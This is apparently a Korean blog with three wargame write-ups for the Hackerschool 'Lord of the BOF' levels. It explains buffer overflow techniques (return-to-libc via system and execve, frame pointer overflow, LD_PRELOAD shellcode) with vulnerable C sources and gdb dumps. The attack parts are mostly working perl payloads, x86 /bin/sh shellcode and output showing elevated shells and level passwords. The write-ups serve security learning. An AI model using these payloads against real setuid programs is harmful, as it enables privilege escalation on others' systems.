LOB_bugbear



[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ls

giant  giant.c

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}



bash2 띄우고~ 소스를 보면 이번에도 RTL 입니다. 소스가 복잡해졌네요 

// gain address of execve 라는 부분을 보면

/home/giant/assasin의 라이브러리가 로딩되는 주소를 가져오고

/lib/libc.so.6 라이브러리에서 __execve의 주소(오프셋)를 가져오는 것 같습니다.


execve_addr=lib_addr + (int)execve_offset; 을 통해 execve_addr 의 주소를 구하네요

소스가 복잡해보였는데, 전체적인 흐름은 execve의 사용을 유도하기 위함이네요.

execve를 이용한 RTL 방법을 원하는 것 같습니다.


execve의 사용법부터 확인해보면..


       #include <unistd.h>

       int  execve  (const  char  *filename, char *const argv [],

       char *const envp[]); 


이네요. 주의깊게 봐야할 점은 execve의 2번째인자에는 더블포인터형식으로 처리해 주어야 하는 것입니다. 이 부분을 처리하는데 애먹었는데.. &“/bin/sh” 는 시스템 함수 내부에서 찾고, &(&”/bin/sh”)를 환경변수에 올려 처리하는 방법으로 공격해보겠습니다.

공격의 구성은 이렇게 되겠네요

  argv[0] argv[1]

[&“/bin/sh”] [dummy(44)+&execve+dummy(4)+&”/bin/sh”+&(&”/bin/sh”)+&”NULL”]



(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /home/bugbear/tmp/./giant


Breakpoint 1, 0x8048566 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


[bugbear@localhost tmp]$ cat getbinsh.c

#include <stdio.h>


int main(void)

{

long shell=0x40058ae0;

while(memcmp((void*)shell,"/bin/sh", 8))

shell++;

printf("binsh : 0x%x\n", shell);

}

[bugbear@localhost tmp]$ gcc getbinsh.c -o getbinsh

[bugbear@localhost tmp]$ ./getbinsh

binsh : 0x400fbff9



“/bin/sh”의 주소값을 구하고


[bugbear@localhost tmp]$ export ORANG=`perl -e 'print "\xf9\xbf\x0f\x40"'`

(gdb)

0xbffffcf8:  "ORANG=\017@"

(gdb) x/x 0xbffffcfe

0xbffffcfe: 0x400fbff9



더블 포인터 형식으로 “/bin/sh”의 주소를 가리키게 위해 환경변수를 이용하고,

정확한 주소를 찾기 위해 gdb를 이용하여 찾아냈습니다.


0xbfff0120: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfff0130: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfff0140: 0x00000000 0x00000000 0x00000000 0x00000000


NULL값의 주소는 0xbfff0130 로 맞춰주고 공격해보면..


[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "AAAA", "\xf9\xbf\x0f\x40" ,"\xfe\xfc\xff\xbf", "\x30\x01\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@

Segmentation fault



공격이 제대로 되지 않았네요 환경변수를 올린 후, 카피본을 분석해 주소를 가져왔는데

오차가 있는것 같습니다. 그냥 브루트 포스로 공격해보겠습니다.






…생략…

0xBFFFFFF7L

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@0

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

…생략…

0xBFFFFB98L

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

@AAAA@0

i686: /home/bugbear/.bashrc: Permission denied

bash$

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer


공격해보면 2군데(0xbffffff7, 0xbffffb98)에서 쉘이 뜨는걸 확인할 수 있습니다.

2번째 0xbffffb98은 제가 올린 환경변수의 정확한 주소이고

1번째는 저는 까먹고 신경쓰지 못한 부분인데.. 실행파일의 절대주소가 올라가있는 부분입니다.

그냥 저부분을 쓰면 될걸..

쓸데없이 삽질해서 성공시켰네요

이 댓글을 비밀 댓글로

해커스쿨 LOB ( darkknight -> bugbear ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 21:16 System Hacking/해커스쿨 LOB

LOB_darkknight



[darkknight@localhost darkknight]$ bash2

[darkknight@localhost darkknight]$ ls

bugbear  bugbear.c

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}


strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}



bash2 띄우고~ 소스를 보니 이번엔 RTL이네요


skeleton 이었나, 그 문제처럼 공유라이브러리를 응용해서 풀어보겠습니다.



[darkknight@localhost tmp]$ cat ORANG.c

#include <stdio.h>


void ORANG(void)

{

char shellcode[]="\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89

\xc2\xb0\x0b\xcd\x80";


(*(void(*)())shellcode)();

}

[darkknight@localhost tmp]$ gcc ORANG.c -fPIC -shared -o ORANG

[darkknight@localhost tmp]$ ls

ORANG  ORANG.c  bugbear  bugbear.c

[darkknight@localhost tmp]$ export LD_PRELOAD=“/home/darkknight/tmp/ORANG"




shellcode를 실행시켜주는 함수를 공유라이브러리에 올리고 확인해보면..



[darkknight@localhost tmp]$ gdb ./bugbear

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) b * main

Breakpoint 1 at 0x8048430

(gdb) r

Starting program: /home/darkknight/tmp/./bugbear


Breakpoint 1, 0x8048430 in main ()

(gdb) p ORANG

$1 = {<text variable, no debug info>} 0x40015780 <ORANG>



함수가 제대로 올려져 있음을 확인했습니다.


바로 공격해보면..


[darkknight@localhost tmp]$ ./bugbear `perl -e 'print "A"x44,"\x80\x57\x01\x40"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW@

bash$ id

uid=512(darkknight) gid=512(darkknight) groups=512(darkknight)

bash$ exit

exit

[darkknight@localhost tmp]$ cd ..

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "A"x44,"\x80\x57\x01\x40"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW@

Segmentation fault


카피본에서는 공격에 성공했지만, 원본에는 실패했습니다.

정확한 이유를 찾지못해..


그냥 정석적인 RTL로 풀어보겠습니다.



(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r

Starting program: /home/darkknight/tmp/bugbear


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


[darkknight@localhost tmp]$ export ORANG="/bin/sh"

[darkknight@localhost tmp]$ cat getenv.c

#include <stdio.h>


int main(void)

{

printf("0x%x\n", getenv("ORANG"));

}

[darkknight@localhost tmp]$ export ORANG="/bin/sh"

[darkknight@localhost tmp]$ ./getenv

0xbffffe37


system 함수는 0x40058ae0 에 존재하고, /bin/sh는 내부에서 찾는 것도 가능하지만

편하게 환경변수에 올렸습니다.



[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "A"x44,"\xe0\x8a\x05\x40","AAAA","\x35\xfe\xff\xbf","\x00\x00\x00\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAA5

sh: /sh: No such file or directory

Segmentation fault

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "A"x44,"\xe0\x8a\x05\x40","AAAA","\x30\xfe\xff\xbf","\x00\x00\x00\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAA0

sh: =/bin/sh: Permission denied

Segmentation fault

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "A"x44,"\xe0\x8a\x05\x40","AAAA","\x31\xfe\xff\xbf","\x00\x00\x00\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@AAAA1

bash$ id

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide


주소가 정확하지 않아서 조금씩 수정해가며 성공!!


RTL 기법에 대한 좋은글이 많아 RTL 관련 설명은 생략합니다.



이 댓글을 비밀 댓글로

해커스쿨 LOB ( golem -> darkknight ) by ORANG - FPO

Posted by ORANG ORANG(오랑)
2014.10.20 19:58 System Hacking/해커스쿨 LOB

LOB_golem



[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls

darkknight  darkknight.c

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}


problem_child(argv[1]);

}



bash2부터 띄우고..

힌트를 보니 ‘FPO’가 있다. 찾아보니 Frame Pointer Overflow라고 합니다.

http://s2kiess.blog.me/220070346721 <- 참고


예전에 CTF문제를 풀다가 얼핏 본적이 있는데 FPO란 1바이트 오버플로를 이용한 방법입니다.

추가로 FPO의 흐름을 간단하게 설명을 하자면..

1) ebp의 마지막 1바이트를 오버플로해서 ebp를 특정 주소로 옮긴다. (sub함수 leave)

2) ret를 통해 원래함수로 돌아와 진행한다 (sub함수 ret) -> ebp는 여전히 조작된 주소에 존재

3) (main함수 leave)과정.. 으로 조작된 주소에 있는 ebp로 esp가 옮겨진다, 그리고 pop ebp

4) 현재 esp값은, 조작된 주소+4 가 된다. (main함수 ret)과정을 통해, pop eip가 되고

5) 결과적으로 “조작된 주소+4” 에 있는 주소값이 실행된다.


분석 해보면..


(gdb) b * problem_child+41

Breakpoint 1 at 0x8048469

(gdb) r `perl -e 'print "A"x40,"B"'`

Starting program: /home/golem/tmp/./darkknight `perl -e 'print "A"x40,"B"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB @

(gdb) x/40x $ebp-0x40

0xbffffa5c: 0xbffffa74 0x401081ec 0xbffffa9c 0x08048466

0xbffffa6c: 0x08048500 0xbffffa74 0x41414141 0x41414141

0xbffffa7c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa8c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa9c: 0xbffffa42 0x0804849e 0xbffffc07 0xbffffac8

0xbffffaac: 0x400309cb 0x00000002 0xbffffaf4 0xbffffb00

0xbffffabc: 0x40013868 0x00000002 0x08048390 0x00000000

0xbffffacc: 0x080483b1 0x0804846c 0x00000002 0xbffffaf4

0xbffffadc: 0x080482e4 0x080484dc 0x4000ae60 0xbffffaec

0xbffffaec: 0x40013e90 0x00000002 0xbffffbea 0xbffffc07


buf가 0xbffffa74에 존재합니다.

그리고 buf앞에는 0xbffffa74로, buf의 주소를 가리키는 주소가 보입니다.

nop+shellcode를 buf에 넣어주고, “\x6c”로 오버플로 시키면 ebp는 0xbffffa6c 가 되고,

main함수의 leave-ret과정에서 esp가 0xbffffa6c, 0xbffffa70 순서로 움직이고

pop eip에 의해 eip에 0xbffffa70에 있는값(0xbffffa74)가 저장된 후,

0xbffffa74 로 점프할 것을 예상할 수 있습니다.



[golem@localhost tmp]$ ./darkknight `perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x6c"'`

1Ph//shh/binPS°

                                    ̀l @

Segmentation fault (core dumped)




세폴이 떠서 core 덤프를 확인했습니다.




(gdb) x/40x 0xbffffa5c

0xbffffa5c: 0x08048500 0xbffffa64 0x90909090 0x90909090

0xbffffa6c: 0x90909090 0x31909090 0x2f6850c0 0x6868732f

0xbffffa7c: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0

0xbffffa8c: 0xbffffa6c 0x0804849e 0xbffffbfe 0xbffffab8

0xbffffa9c: 0x400309cb 0x00000002 0xbffffae4 0xbffffaf0

0xbffffaac: 0x40013868 0x00000002 0x08048390 0x00000000

0xbffffabc: 0x080483b1 0x0804846c 0x00000002 0xbffffae4

0xbffffacc: 0x080482e4 0x080484dc 0x4000ae60 0xbffffadc

0xbffffadc: 0x40013e90 0x00000002 0xbffffbf1 0xbffffbfe

0xbffffaec: 0x00000000 0xbffffc28 0xbffffc3c 0xbffffc53 



5c로 다시 공격해보면..



[golem@localhost golem]$ ./darkknight `perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x5c"'`

1Ph//shh/binPS°

                                    ̀\ @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker



성공!!

    • 2015.05.16 23:56
    비밀댓글입니다
이 댓글을 비밀 댓글로